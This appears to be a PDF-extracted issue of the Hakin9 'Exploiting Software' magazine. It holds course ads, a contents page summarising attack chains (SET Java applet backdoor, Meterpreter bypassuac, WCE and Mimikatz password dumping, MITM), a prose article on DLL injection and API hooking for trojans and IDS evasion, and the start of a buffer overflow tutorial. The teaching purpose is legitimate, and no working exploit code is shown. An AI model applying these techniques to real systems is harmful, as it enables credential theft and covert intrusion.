Exploiting Software Haking

NATURAL LANGUAGE PROCESSING

OVERRIDING FUNCTION CALLS IN LINUX



API HOOKING

RECOVERING PASSWORDS AND ENCRYPTED DATA REMOTELY IN PLAIN TEXT SECURITY COMMUNICATION AND WHY YOU SHOULD TRUNDLE DANGER OF MAN IN THE MIDDLE ATTACKS TO MODERN LIFE

PENETRATION TESTING PROFESSIONAL v. 2

Online Penetration Testing Course



www.elearnsecurity.com

- of 2400+ interactive slides
- of 9 hours video training material
- of 100% hands-on with Hera Labs
- Extremely in depth and thorough contents
- 🥑 Leads to Hands-on ECPPT certification

- of 3 Knowledge domains
- of Web application penetration testing
- 💣 Network penetration testing
- 💣 System security and Exploit Development
- of Lifetime access to course material

Now the most Hands-On course on Penetration Testing :



Coliseum Web Application Security Lab

- 🛹 14 real world vulnerable websites
- ✓ User-exclusive sand-boxed access to labs
- 🛹 Multiplatform : PHP, MySQL, MS SQL Server
- ✓ Practice OWASP Top 10
- 🎺 Web app analysis, XSS, SQLi, LFI/RFI, CSRF
- 🛷 Get inline help if you get stuck



<u>Hera Penetration Testing Virtual Lab</u>

- 🖋 VPN access from your own Attack box
- 🖊 User-exclusive, non-shared access to labs
- 🖊 Guided Exploitation Walkthrough
- 🖋 Windows Servers, BSD, Linux, Firewalls, IDS's
- Different Labs with Different Network topologies
 - 🖊 On-demand: No Activation, No Expiration

www.elearnsecurity.com

HEY! TEACHER! LEAVE THEM KIDS ALONE!

THE MOST ADVANCED COURSE ON PENETRATION TESTING

IS SELF-PACE, P!



WWW.ELEARNSECURITY.COM

Exploiting Software

Exploiting Software

team

Editor in Chief: Grzegorz Tabaka grzegorz.tabaka@hakin9.org

Managing Editor: Natalia Boniewicz natalia.boniewicz@hakin9.org

Editorial Advisory Board: Rebecca Wynn, Matt Jonkman, Donald Iverson, Michael Munt, Gary S. Milefsky, Julian Evans, Aby Rao

Proofreaders: Michael Munt, Rebecca Wynn, Elliott Bujan, Bob Folden, Steve Hodge, Jonathan Edwards, Steven Atcheson, Robert Wood

Top Betatesters: Nick Baronian, Rebecca Wynn, Rodrigo Rubira Branco, Chris Brereton, Gerardo Iglesias Galvan, Jeff rey Smith, Robert Wood, Nana Onumah, Rissone Ruggero, Inaki Rodriguez

Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Without their assistance there would not be a Hakin9 Expoiting Software magazine.

Senior Consultant/Publisher: Paweł Marciniak

CEO: Ewa Dudzic ewa.dudzic@hakin9.org

Production Director: Andrzej Kuca andrzej.kuca@hakin9.org

DTP: Ireneusz Pogroszewski Art Director: Ireneusz Pogroszewski ireneusz.pogroszewski@hakin9.org

Publisher: Software Press Sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.hakin9.org/en

Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes.

All rights to trade marks presented in the magazine are reserved by the companies which own them. To create graphs and diagrams we used smartdrowwere program by smartDraw

Mathematical formulas created by Design Science MathType™

DISCLAIMER! The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

Dear Readers,

Buffer overflow is the most dangerous vulnerability in the software world because it could allow for an exploitation for OS which include this vulnerable software. In this issue you will find two articles discussing this sophisticated attack pattern: The Basics Of Buffer Overflow, Fuzzing and Exploitation written by Richer Dinelle and Exploit a Software with Buffer Overflow Vulnerability and Bypassing Aslr Protection written by Ahmed Sherif El-Demrdash. You will see what is application fuzzing and how to exploit the bugs we find and what problems it creates to developers in terms of program availability, functionality and most of all security. You will also learn how to write your own exploitation with python programming language and bypassing ASLR protection and how to run your own shellcode to control Vulnerable OS. I highly recommend you to read the article of Craig Wright Extending Control, API Hooking which is going to follow from previous articles as well as going into some of the fundamentals that you will need in order to understand the shellcode creation process, how to use Python as a launch platform for your shellcode and that the various system components are. If you want to know how a remote attacker can recover encrypted files don't miss the article Recovering Passwords and Encrypted Data Remotely in Plain Text written by Daniel Dieterle. In the article Danger of Man in the Middle Attacks to Modern Life Wong Chon Kit shows a common attack and how fast these attacks could obtain information in a stealthy way. The article E-mail Spam Filtering and Natural Language Processing written by Yufan Guo discusses spam filtering from the perspective of natural language processing (NLP) which is an interdisciplinary field that aims to automatically analyze, understand and generate human (natural) languages. The article Security Communications and why You Should Trundle written by Dean Bushmiller describes the tools you use for protecting data and the business processes that you must put in place. And finally, in the article Overriding Function Calls in Linux written by Umair Manzoor you will learn to sniff the communication protocol and modify the communication parameters and fuzz the communication protocol.

> Enjoy the reading! Natalia & Hakin9 Team



Get prepared.

We are Expanding Security, a Pen Testing and Training Company. We've been preventing deer-in-headlights look since 2006. We offer Pen Testing services plus our Live On Line training classes for ISSMP, ISSAP, CISSP, and Certified Ethical Hacker. We give you online access to materials wherever you are.



You need to keep your job secure, your business strong, and your staff on top of the game. See how good and fun training can be. Our courses are current to changing technology, and our training is the fastest, easiest way to master the relevant data you need NOW.

Sign up for our free weekly PainPill and come to a free class. <u>http://www.expandingsecurity.com/PainPill</u>

...with Freedom, Responsibility, and Security for All ™ www.ExpandingSecurity.com

ATTACK PATTERN 8 Extending Control, API Hooking

By Craig Wright

API hooking the malicious code is used to vary the library function calls and returns by replacing the valid function calls with one of the attackers choosing. The article follows from previous articles as well as goes into some of the fundamentals that you will need in order to understand the shellcode creation process, how to use Python as a launch platform for your shellcode and that the various system components are. This article includes a section on functions and calls, extending DLL injection and then move to the actual API hooking process (that we will extend) in coming articles. With these skills you will have the foundations for creating shellcode for exploits and hence an understanding of the process that penetration testers and hackers use in exploiting systems. You will see how it is possible to either create your own exploit code from scratch or even to modify existing exploit code to either add functionality or in order to bypass signature based IDS/IPS filters.

14 The Basics Of Buffer Overflow, Fuzzing and Exploitation

By Richer Dinelle

The stack can contain different kind of information: instructions for the cpu, characters strings for example. Buffer Overflow can be caused by many different programming errors or implementation. The one we will test is going to be about the bounds of an array of characters that are not properly checked. You will see what is application fuzzing and how to exploit the bugs we find and what problems it creates to developers in terms of program availability, functionality and most of all security.

20 Exploit a Software with Buffer Overflow Vulnerability and Bypassing ASLR Protection

By Ahmed Sherif El-Demrdash

Buffer overflow is an anomaly where a program while writing data to a buffer overruns the buffer's boundary and overwrites adjacent memory. This is a special case of violation of memory safety. It is the most dangerous vulnerability in the software world because it could allow for an exploitation for OS which include this vulnerable software. You will learn how to write your own exploitation with python programming language and bypassing ASLR protection and finally, how to run your own shellcode to control Vulnerable OS.

30 Recovering Passwords and Encrypted Data Remotely in Plain Text

By Daniel Dieterle

There has been a lot of buzz across the web the last few months about a program called "Mimikatz". It is an interesting program that allows you to recover Windows passwords from a system in clear text. Why spend hours, days, or months trying to crack a complex password when you can just pull it from Windows memory as unencrypted text?Recovering passwords remotely with WCE is very similar; you create the website in SET, and use the Java attack. Once the target system allows the backdoored applet to run, a remote session is created. After you connect to the session in Meterpreter, you need to run the "Bypassuac" script, and connect to the newly created session that has System level access. Then run the WCE script and the passwords are displayed in plain text. You will learn how a remote attacker can recover encrypted files and you will understand why you should never allow scripts or programs to run from websites that you do not know or trust.

34 Danger of Man in the Middle Attacks to Modern Life

By Wong Chon Kit

In modern times, we have been exposed through the use of any of the computers, smart phones or any device which are all connected in a consolidates network. When we term the word network, it means that we can communicate with the other party by sending information through the cables or even in the air. You will learn how to perform a man in the middle attack on Linux as well as on Windows machines. You will see the trick of hiding in the network while we are performing intelligent information gathering. The author will also show you a common attack and how fast these attacks could obtain information in a stealthy way. As you will see, the growing use of the tools can help anyone be a security pen tester, while if it is been used in a wrong hands it could bring more damage than good.



CONTENTS

DEFENSE PATTERN 42 E-mail Spam Filtering and Natural Language

Processing

By Yufan Guo

NLP is an interdisciplinary field that aims to automatically analyze, understand and generate human (natural) languages. This article is a brief introduction of how to apply NLP techniques to spam filtering. It discusses spam filtering from the perspective of natural language processing (NLP). The author explains the features (e.g. binary features, TF-IDF, domainspecific features) and the machine learning models (e.g. RIPPER, Naive Bayes Classifier, SVM) that are commonly used for this task, along with their performance on different data sets. She also discusses the challenges of personalized spam filtering and the possible solutions (co-training).

46 Security Communication and Why You Should Trundle

By Dean Bushmiller

The main focus of this article is to deal with customer communications securely. That trundling along to protect them. In this article the author will tell you what to do to better protect your customer. You will be able to see where the data is sitting from past reports and clean it up before the attack occurs. The article discusses about the tools you use for protecting data, the data you should protect, and the business processes that you must put in place..

PENETRATION TESTING

50 Overriding Function Calls in Linux

By Umair Manzoor

Function hooking and overriding plays a vital role in penetration test of thick client application. In this article we will discuss how shared libraries in Linux environment can be overridden with out recompiling the code. By overriding the function calls we can sniff the communication protocol, modify the communication parameters and fuzz the communication protocol.



Coliseum

Virtual labs 100% practical hands on training by eLearnSecurity

> FIND OUT 14 educational challenges



Real world scenarios No set-up time Play on MS SQL Server Got stuck? We support!

www.coliseumlab.com



Extending Control, API Hooking

This article is going to follow from previous articles as well as going into some of the fundamentals that you will need in order to understand the shellcode creation process, how to use Python as a launch platform for your shellcode and that the various system components are.

e will continue here with DLL injection before starting on API hooking. At this point we have learnt the basics of DLL injection and are ready to move onto applying it. This article will include a section on functions and calls, extending DLL injection and then move to the actual API hooking process (that we will extend) in coming articles. When all of this is put together, we will have the foundations for creating shellcode for exploits and hence an understanding of the process that penetration testers and hackers use in exploiting systems. With these skills, you will see how it is possible to either create your own exploit code from scratch or even to modify existing exploit code to either add functionality or in order to bypass signature based IDS/IPS filters.

This article continues a monthly series designed to take the reader from a novice to being able to create and deploy their own shellcode and exploits.

Introduction

In previous articles, we have covered a number of topics to do with the creation of shellcode and assembly language. We continue with an introduction of one of the primary exploitation processes used against a Windows system. In subsequent articles this will be expanded into the creation of standalone exploit kits and in the deployment of a rootkit and in the last article we started to explore the use and concept of a DLL.

We follow DLL injection with API hooking. This process is used by attackers and is also incorporated into automated frameworks (including Metasploit) as a part of the testing and exploitation process. API Hooking is one of the more common methods used by malware such as a rootkit to load it into the host's privileged processes. Once injected, code can be inserted into functions being transmitted between the compromised code and a library function. This step extends DLL injection and though API hooking the malicious code is used to vary the library function calls and returns by replacing the valid function calls with one of the attackers choosing. In this, we shall also elucidate the functions used by attackers in more detail. This is a useful skill when reversing malware as well as a good way to learn from the existing code base and even to leverage some of the various tools that are freely available already.

Why do we want to inject code?

There are many reasons to want to inject code into an application; some of them are even valid. Others are malicious. Developers frequently and legitimately use these techniques to:

- · Subclass a window created by another process,
- In debugging as hooking can help to determine which dynamic link libraries (DLLs) are in use within a specific (remembering that some applications do not list all of the functions they end up calling and more, many malicious applications specifically hide the DLLs that they use to make reversing and analysing them more difficult),
- Extend existing code.

The last example is particularly useful when code samples have not been supplied with source code and cannot be altered. Here, a developer can take legacy programs and incorporate new calls and network libraries extending the codes useful lifespan. Many pen testing tools have been extended in this manner allowing the tester to take code developed solely for

IPv4 networks and to incorporate IPv6 support into a favourite but no longer supported tool.

The "hooked" process will run with the full access and privileges of the original application that it has been injected into. That is, an external process can be made to run as the security context of another user or application.

This is of particular interest to the developers of malicious code. If the developer of such code can inject their DLL into a process running with system or administrative level privileges or one that has access to a lower level security context (especially if it can access the kernel or Ring Zero) they can escalate their privileges and run functions they would not usually be able to run.

In doing this, a process can be made to run as another user (hiding the attacker) or to even give the attacker administrative access to the system. Most commonly, these processes are used to access protected data in applications and to exfiltrate this information. With UIPI in Windows Vista and Windows 7, an attacker can no longer hoot into a higher integrity level. They can still capture information and applications entered by a user on a system.

This data can include:

- Credit card numbers and other forms of PII (PII is Personally Identifiable Information (see http:// en.wikipedia.org/wiki/Personally_identifiable_infor mation)),
- Passwords (as well as usernames),
- · Keystrokes and mouse clicks, or
- Documents (email for instance can be captured).

Basically, an attacker who can hook an API can do nearly anything that the user or process they have attacked can do. It is a good start to creating a Trojan.

DLL's in more depth

In the last article [1] we introduced DDLs or dynamic link libraries stating that A DLL is a Dynamically Linked Library of executable code [2]. The reason for the use of a DLL is simple, it allows for code reuse. This makes patching and updates far simpler than when static linked code is used as well as reducing the amount of code loaded into the system. The reason for this is as dynamic libraries (usually in the form of a DLL in Windows) increase the maintainability of the program by removing redundancy. This is extremely beneficial as the user can patch a single file in place of hundreds (or more) statically linked files.

Some codes, such as cryptographic and algorithmic libraries are particularly difficult and having a library of tested and validated code makes the creation of software with these functions far simpler. More, it



Fix Windows Registry & Repair PC Errors!

Before you continue:

Free scan your Computer now! Improve PC Stability and performances Clean you registry from Windows errors

Instant Scan

reduces the instances of bugs and exploits (Although it should be noted that the impact of any exploit against a bug in a widely used DLL increases as the use of the library increases.) against common code. Not all DLLs come from Microsoft, with many third part code in use (such as RSA's crypto libraries) being used on nearly all systems.

DLLs resemble standard Windows executables in the implementation of the PE format with the distinction that they cannot be called as an executable would be and require that a true executable calls them to run. OBC (Object Orientated Code) allows the creation and use of common libraries in place of statically linked code. As such, a single DLL can be called from numerous programs.

Most Windows executables maintain a list of the libraries that load. This is not essential and some (mainly malicious) code will in reality load a dynamic library that is not included in any import tables hiding the execution of these additional functions.

Back to the IAT (Import Address Table)

The *import address table* (IAT) is used as a lookup table when the application is calling a function in a different module. It can be in the form of both import by ordinal and import by name. As a consequence of a compiled program being unable to know the memory location of the libraries it depends upon, an indirect jump is required whenever an API call is made. As the dynamic linker loads modules and joins them together, it writes actual addresses into the IAT slots, so that they point to the memory locations of the corresponding library functions [3].

The dynamic linker moves to the IAT after the PE Header. The system uses the IAT as a lookup table to find functions that are located in different modules used by the application. The IAT exists as the system does not have the memory location for all of the libraries it uses. Rather, an indirect jump is necessary whenever an API call is completed. The dynamic linker loads the various modules into memory and connects them together and then writes jump instructions into the IAT slots.

The system is then configured such that it is positioned at the memory locations of the consequent library functions. This does have a negative impact on the performance of the system as additional jumps are made outside the calling executable (in place of intramodule calls). Some examples of calls made by the IAT include those files set from the code as external calls.

For instance, a C# program using the following statement could call the sleep(), GetDisk(), FreeSpace or GetCommandLine() functions:

using System;

Using hooks to inject DLLs

We have seen that Windows provides a means to intercept (hook) messages sent within the system (e.g. mouse clicks). Attackers or Malicious software can also use this process such that they can inject a DLL into a remote process. Kuster [4] uses the example of "HookSpy" to have code "executed in the address space of another process".

For remote hooks where the thread is not directly associated with the initial process, the hook is either:

- thread-specific, to monitor the message traffic of a thread belonging to another process;
- system-wide, to monitor the message traffic for all threads currently running on the system [4]

As such, the hook procedure must reside in a *dynamic-link library* (DLL) and we need to use the hooking process to load (inject) the desired DLL into the control



Figure 1. Using Hooks for DLL Injection

and hence the address space of the hooked thread. When this occurs, the entire DLL, which includes the hooked process as well as all other code in the DLL is mapped. The result, an attacker can use a Windows hook to inject code into the address space of a space application to itself and to capture information such as keystrokes.

In Figure 1, we see the attacker first load the DLL to be used in the attack into a separate memory space (one not used by the process under attack). The attack relies on being able to determine the address used by the filter function of the attacked process. Here, the Application will have some means of calling a filter function as a remote process (an external library or DLL).

Using the inbuilt Windows function, SetWindowsHookEx(), the attacker sets a hook into the remote process (the application under attack). The Malicious DLL stipulates a DLL and particular function in the same to act as a filter function. The next part is all about waiting.

The application under attack has to receive an external message that would be processed using an external function. This is why we see so many attacks where the attacker tries to lure the victim into clicking on an icon or something similar. On receiving this message, the application loads the malicious DLL, injecting it inside the applications address space. Once this occurs, the replacement filter function from "Bad.DLL" processes the message allowing it to execute the attacker's code with the rights and privileges of the application under attack.

Functions and calls

For these methods, the main functions we should understand are:

- SetWindowHookEx() For GUI based injections. [5]
- UnhookWindowsHookEx() To release our code

In the next article in this series we will investigate the following additional methods:

- CreateRemoteThread() [6]
- WriteProcessMemory() [7]
- LoadLibrary() [8]
- FreeLibrary() [9]

Problems with DLL injection

As with anything in life, nothing is perfect (not even for the attacker). One of the more common methods we have discussed, the SetWindowsHookEx() function call works exclusively with GUI based applications. This means that it cannot be used against background services. The attacker also cannot use this to infect a compiler, linker or other such code. It does have the ability to inject multiple applications with a single call. If the target thread ID parameter is set to zero (0), then all GUI applications running can be infected in one go.

Although this can be a powerful form of exploiting a system, it is also risky. As this attack is not selective, it will inject code into far more applications than would generally be desired. Some applications are more robust than others. As the attack injects code into many GUI applications at once the change of any particular application crashing the system (or at least an application) increases significantly. Hence this technique is far more likely to crash the system than one that selectively targets an application or thread. For an attacker, it is best to limit where code is injected into as it also makes it simpler to detect the attack.

Further to this, if the code is universally targeted at thread ID parameter 0, the attacker's DLL will be injected into each GUI-based application for the complete lifetime of each of these applications. This makes forensic analysis of the attack and detection by anti-malware software simpler.

Vista and Windows 7 also change this process. Starting with Windows Vista, user-processes and privileged system processes run in separate sessions. This means that user-processes can no longer simply exchange messages. This limits the ability of code to escalate its privilege using API hooking significantly. More, another feature, UIPI (or User Integrity Privilege Isolation) was introduced to stop a lower privilege process from calling a higher privilege process using the SetWindowsHookEx() function call. The CreateRemoteThread() function call was similarly limited with the system stopping unprivileged processes from using this function call against a protected process.

The simplest means to inject a DLL involves substituting an alternate DLL with one that will be called by the application. Here, renaming the attack library to the original (and as yet unloaded DLL) and waiting. The difficulty is that the substituted library needs to export all of the symbols that were exported within the original DLL. This can be achieved through the use of function forwarders and which of course simplify the process used to hook functions (There is a MSDN blog entry on this topic at: *http://blogs.msdn.com/b/oldnewthing/archive/2006/07/19/671238.aspx*).

There are many reasons for an attacker not to use this method (even if it is far simpler). First, it leaves a file on the system being attacked making forensics and anti-malware processes far simpler. Next, it is far from version-resilient. When Microsoft (or another vendor as the case may be) patches a system DLL used by this library, the substituted DLL will lack any added functions. That is the substitute DLL will lack function forwarders. The application that calls this DLL will at best be unable to load and execute and at worst will crash the system.

References

- 1. Wright, C.S., Taking control, Functions to DLL injection. Hakin9, Exploiting Software, 2012. 2(4): p. 22-27.
- 2. Shewmaker, J. Analyzing DLL Injection. in NS2006, GSM Presentation. 2006. SANS.
- 3. Wiki. Portable Executable. Available from: *http://en.wikipedia.org/wiki/Portable_Executable*.
- 4. Kuster, R. Three Ways to Inject Your Code into Another Process. 2003 [cited 2012 15/05/2012]; Available from: http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces.
- MSDN. SetWindowHook Function. 19/05/2012]; Available from: http://msdn.microsoft.com/en-us/library/windows/desktop/ ms644990(v=vs.85).aspx.
- MSDN. CreateRemoteThread function. 19/05/2012]; Available from: http://msdn.microsoft.com/en-us/library/windows/desktop/ ms682437(v=vs.85).aspx.
- 7. MSDN. WriteProcessMemory function. 20/05/2012]; Available from: http://msdn.microsoft.com/en-us/library/windows/desktop/ ms681674(v=vs.85).aspx.
- 8. MSDN. LoadLibrary function. 21/05/2012]; Available from: http://msdn.microsoft.com/en-us/library/windows/desktop/ ms684175(v=vs.85).aspx.
- 9. MSDN. FreeLibrary function. 15/05/2012]; Available from: http://msdn.microsoft.com/en-us/library/windows/desktop/ ms683152(v=vs.85).aspx.
- 10. Madshi. API Hooking Methods 20/05/2012]; Available from: http://help.madshi.net/ApiHookingMethods.htm.

An earlier method of API injection used to exist as well. In older systems (such as 8 and 16 bit X86 hosts) that did not support multithreading (and multithreading makes this technique catastrophically foolish other than a s a means to crash a system) could use the method known as "API Hooking by overwriting code" [10]. In this, the attacker would overwrite the initial bytes of the targeted function with a JUMP CPU instruction. This instruction would be constructed to jumps to the memory location of the supplemented function that has already been loaded into memory.

The difficulty is that the substituted function be required to possess precisely the equivalent signature as the function that has just been hooked. This would require that any parameters in the initial function have been recreated exactly. This would require that the return value and the calling convention used by the substituted function remain the same as those used within the original function.

The main issues with this on a single threaded system (and note again that this does not work well at all in multi-threaded environments) comes from the differences in system architectures. Systems with x86, x64, IA-64, or alternative processors each use different JUMP instructions and it can lead to unexpected if not catastrophic results when JUMPs from one system are coded into another architecture.

Conclusion

12 Exploiting Software

In the next instalment in the series of articles we will continue with DLL injection. In addition to API hooking, there are a few other means to have code executed in the address space of a separate process. We will cover attacks against remote processes using the using the CreateRemoteThread & LoadLibrary method and the *WriteProcessMemory/CreateRemoteThread* method in coming articles. The later of these methods actually copies the malicious code directly inside the remote process.

At this point we have learnt the basics of DLL injection and are ready to move onto applying it. When we then put all of this together, we will have the foundations for creating shellcode for exploits and hence an understanding of the process that penetration testers and hackers use in exploiting systems. With these skills, you will see how it is possible to either create your own exploit code from scratch or even to modify existing exploit code to either add functionality or in order to bypass signature based IDS/IPS filters. We will also look at "trampolines" including that used in code such as "QuietRIATT" (See http://www.blackhat.com/ presentations/bh-dc-09/Krumheuer Raber/BlackHat-DC-09-Krumheuer-Raber-QuietRIATT-Slides.pdf for details of this code) in next month's article.

With this knowledge, you will learn just how easy it is for sophisticated attackers to create code that can bypass many security tools. More, armed with this knowledge you will have the ability to reverse engineer attack code and even malware allowing you to determine what the attacker was intending to launch against your system. In this way, you can improve your forensic and incident response skills.

DR CRAIG S WRIGHT GSE GSM LLM MSTAT

Craig Wright (Charles Sturt University)is the VP of GICSR in Australia. He holds the GSE, GSE-Malware and GSE-Compliance certifications from GIAC. He is a perpetual student with numerous post graduate degrees including an LLM specializing in international commercial law and ecommerce law, A Masters Degree in mathematical statistics from Newcastle as well as working on his 4th IT focused Masters degree (Masters in System Development) from Charles Stuart University where he lectures subjects in a Masters degree in digital forensics. He is writing his second doctorate, a PhD on the quantification of information system risk at CSU.

Do You Want to Become a Cyber Security Expert? OR ADVANCE YOUR IT SECURITY CAREER?

- Cyber Security has one of the largest market shares in IT
- Government & Compliance Regulations are more and more enforced
- Gartner Group predicts unprecedented growth and need in Cyber Security
- Skilled Cyber Security Experts are in ever more demand

THE CYBER 51 EXPERT COACHING FORUM

- Individual 1-on-1 Mentoring on Ethical Hacking, Penetration Testing and IT Security
- Networking with other community members and moderators
- Access to a wealth of tools and information not found on public domain
- Permanent Job & Contract offers, Webinars and much more!

YOUR BENEFITS

- Become an Ethical Hacker / Penetration Tester with 1-on-1 mentoring
- Learn at your own pace at a fraction of the cost of regular courses

CYBER 51 COACHING FORUM

CYBER SECURITY FORUM



CONTENT:

- 1. General Topics
- 2. Service Assessment
- 3. Ethical Hacking
- 4. Cyber Thr<u>eats</u>
- 5. Mitigating Cyber Threats
- 6. Penetration Testing

CYBER 51 INSTRUCTORS



OUR CERTIFICATION LEVELS:

- Certified Ethical Hacker (C|EH)
- Forensic Investigator (C|HFI)
- Certified Security Analyst (ECSA)
- Licensed Penetration Tester (C|LPT)
- Network Security Admin (ENSA)
- ISC Consortium (CISSP)

FEATURES



ADDITIONAL FEATURES:

- 1-on-1 Coaching
- Trainers with Years of Experience
- Wealth of Tools
- Webinars
- Networking with other members
- Contract & Perm. Job Opportunities

WHY CYBER 51?

- Learn whenever you want to
- Dedicated 1-on-1 Coaching
- Information you will not find on public boards
- All Mentors work as Senior Security Consultants
- Frequent updates
- Great Value for money



CONTACT US TODAY

CYBER 51 LIMITED, 176 THE FAIRWAY, SOUTH RUISLIP, HA4 0SH, MIDDLESEX, UNITED KINGDOM EMAIL: INFO@CYBER51.CO.UK WEB: WWW.CYBER51.CO.UK

The Basics

Of Buffer Overflow, Fuzzing and Exploitation

Exploitation! Application fuzzing! What are they? How can they be done? Why would you care? These are the question we will try to answer throughout this article. As the title says, it will be a basic overview of the principle and application of those concepts.

e will see what is application fuzzing, a bit about exploitation of the bugs we find and the problems it presents to developers in terms of program availability, functionality and most of all security. You don't need to be a programmer to follow along but we will have to check and test some (easy) code samples. Don't worry! I'll go easy on you. So if you have a couple of minutes left on your schedule, here we go.

In the beginning, there was the buffer overflow...

Well not really (some other stuff came before that) but when we are talking about problems in programming and in security, it is often the first thing that comes to mind and it is one way a program can be exploited. To better understand what we are going to test, some prerequisites are needed. I will not assume that you know anything about buffer overflow or stack and I will give a brief explanation to prepare the battleground for later. If you're already familiar with this stuff and just want some info about the fuzzing, you can go straight to the other part "First of all, what is fuzzing?". Are there people left here? Good! We shall begin.

If you want to know how to get somewhere, you first need to know where you are. This is why we will begin by explaining some things first to set the first stones to build upon. The next part will be about:

- Memory and program segments
- CPU and stack
- Machine code

The memory and program segments

It is basically where a program is loaded when it is run. To visualize this, you could picture a vending

machine with one gigantic column of products in it. The content of each part can be obtained if you can enter the right combination of letters and numbers. It's the same with memory: each part is addressable by guess what? Addresses! Memory can be so large and needs to be accessed fast. Each program also needs to coexist quietly and not overlap each other. Back to our vending machine analogy, imagine that the first 20 rows are reserved for chewing gums, the other 30 are for chocolate bars and so on... And each category is also classified by brand. A program will be assigned a part of memory to fit in. As a chewing gum pack needs to be in its place and not mixed up with the chocolate bars, so is the program. That way it's much easier for the user (or the cpu) to get or access what is needed.

I know it can be an over simplistic view of how memory works but I think you get my point. Now, a program is composed of five parts (segments):

- Text or code segment (where the code resides)
- Bss segment (where uninitialized data are)
- Data segment (where initialized data are)
- Heap segment (part of memory manageable by the program)
- Stack segment (part of memory used as temporary storage)

The one we are more interested in for this article is the stack segment. For more information on segments, you can refer to "Hacking: The Art of Exploitation". Excellent book by the way.

The cpu and the stack

The cpu is the brain of the computer: it is controlling most of the machine and making decisions based on



Figure 1. Stack representation

instructions. Some of those come from applications. To execute what it was asked to do, it first needs to get organized. The stack is where some instructions or informations are "stacked" in memory for the cpu to pick. Things added to the stack are "pushed" to it and those removed are "popped". The way the stack works is LIFO (Last In First Out) or FILO (First In Last Out) (both are correct) and it grows from high to low memory (on an x86 architecture at least). Now, just imagine a stack of plates that are on one another. If you would like to grab the first plate at the bottom, you would need to remove (pop) the plates at the top first and put (push) new ones on top. It is arranged that way so the relevant info can be stacked there in order of occurrences and be retrieved afterward when needed. I believe a visual example would explain it better so here it is: Figure 1.

Let's say we have a program where we can type a word and it will print it back on the screen (we will see a similar example in code in the next part). We choose to type the word "APPLE" and then it would be put on the stack and would look something like this: Figure 2.

Why? You might ask. Well, because we begin the word with the letter 'A', it is the first to be "pushed" on the stack and then the other letters one by one. After that, they will be "popped" from the last to the first by the cpu to reconstruct the string and then it will print them on the monitor. *Why should I care about the stack*? You might say. It's important to know this because it will be easier to understand buffer overlow and why it can make the application crash.

The next thing you need to know is the stuff we put on the stack can be on top of another instruction, another string or pretty much about anything. Each part is stacked there to be used next so it is important that they all behave correctly and not overlap each other because that is where it can cause problems.



Figure 2. Representation of a string on the stack

www.hakin9.org/en

exploiter	.pl	0	kpl	oit	er.,	ру	vu	Lnap	p1	vu	lna	op1	. C				
root@bt:~	/pr	og/	c# 1	hex	dum	p - 4	C v	ulna	pp1								
00000000	7f	45	4c	46	01	01	01	00	00	00	00	00	00	00	00	00	.ELF
00000010	02	00	03	00	01	00	00	00	eØ	83	04	08	34	00	00	00	
00000020	30	11	00	00	00	00	00	00	34	00	20	00	08	00	28	00	04(.
00000030	1e	00	1b	00	06	00	00	00	34	00	00	00	34	80	04	08	44
00000040	34	80	04	08	00	01	00	00	00	01	00	00	05	00	00	00	4
00000050	04	00	00	00	03	00	00	00	34	01	00	00	34	81	04	08	44
00000060	34	81	04	08	13	00	00	00	13	00	00	00	04	00	00	00	4
00000070	01	00	00	00	01	00	00	00	00	00	00	00	00	80	04	08	
00000080	00	80	04	08	d8	05	00	00	d8	05	00	00	05	00	00	00	
00000090	00	10	00	00	01	00	00	00	Øc	Øf	00	00	0c	9f	04	08	
000000a0	Øc	9f	04	08	10	01	00	00	18	01	00	00	06	00	00	00	
00000060	00	10	00	00	02	00	00	00	20	Øf	00	00	20	9f	04	08	
000000c0	20	9f	04	08	dØ	00	00	00	dØ	00	00	00	06	00	00	00	
000000d0	04	00	00	00	04	00	00	00	48	01	00	00	48	81	04	08	[
000000e0	48	81	04	08	44	00	00	00	44	00	00	00	04	00	00	00	HDD
000000f0	04	00	00	00	51	e5	74	64	00	00	00	00	00	00	00	00	[Q.td]
00000100	00	00	00	00	00	00	00	00	00	00	00	00	06	00	00	00	
00000110	04	00	00	00	52	e5	74	64	0c	Øf	00	00	Øc	9f	04	08	R.td
00000120	ØC	9f	04	08	f4	00	00	00	f4	00	00	00	04	00	00	00	[
00000130	01	00	00	00	2f	6c	69	62	2f	6c	64	2d	6c	69	6e	75	/lib/ld-linu
00000140	78	2e	73	6f	2e	32	00	00	04	00	00	00	10	00	00	00	x.so.2
00000150	01	00	00	00	47	4e	55	00	00	00	00	00	02	00	00	00	GNU
00000160	06	00	00	00	Øf	00	00	00	04	00	00	00	14	00	00	00	
00000170	03	00	00	00	47	4e	55	00	05	52	8e	e7	e2	73	61	ea	1GNURsa.

Figure 3. The hexadecimal representation of an application

Machine code

As we saw earlier, the cpu needs instructions to know what to do. Those commands come in the form of machine code. If we examine it more closely with the help of a hex-editor, we can see that it is composed of strings after strings of hexadecimal numbers. Those numbers, alone or regrouped, are representing the instructions fed to the cpu (Figure 3).

They can be transformed to assembly instructions, which are more human-readable. We will not go into too much details on assembly because this language alone can fill an entire article all by itself but we will see what it does look like: Figure 4.

Each line is an instruction. You can see that the first one is "push <code>%ebp</code>" which indicates that some value is being pushed on the stack for later use. The cpu sees that command and then executes it. As you can see, there's a lot going on here but do not despair because assembly is not that hard once you understand how it works. If you would like to know more on assembly language for x86 architecture, I would suggest you to read "Assembly language step-by-step: Programming with Linux".

Now that we know a little bit more about what is the stack, what a program looks like internally and what the

0x08048494	<+0>:	push	%ebp
0x08048495	<+1>:	mov	%esp,%ebp
0x08048497	<+3>:	and	\$0xfffffff0,%esp
0x0804849a	<+6>:	sub	\$0x420,%esp
0x080484a0	<+12>:	mov	%gs:0x14,%eax
0x080484a6	<+18>:	mov	%eax,0x41c(%esp)
0x080484ad	<+25>:	хог	%eax,%eax
0x080484af	<+27>:	movl	\$0x80485b0,(%esp)
0x080484b6	<+34>:	call	0x80483c8 <puts@plt></puts@plt>
0x080484bb	<+39>:	mov	\$0x80485ce,%eax
0x080484c0	<+44>:	lea	0x1c(%esp),%edx
0x080484c4	<+48>:	mov	%edx,0x4(%esp)
0x080484c8	<+52>:	mov	<pre>%eax,(%esp)</pre>
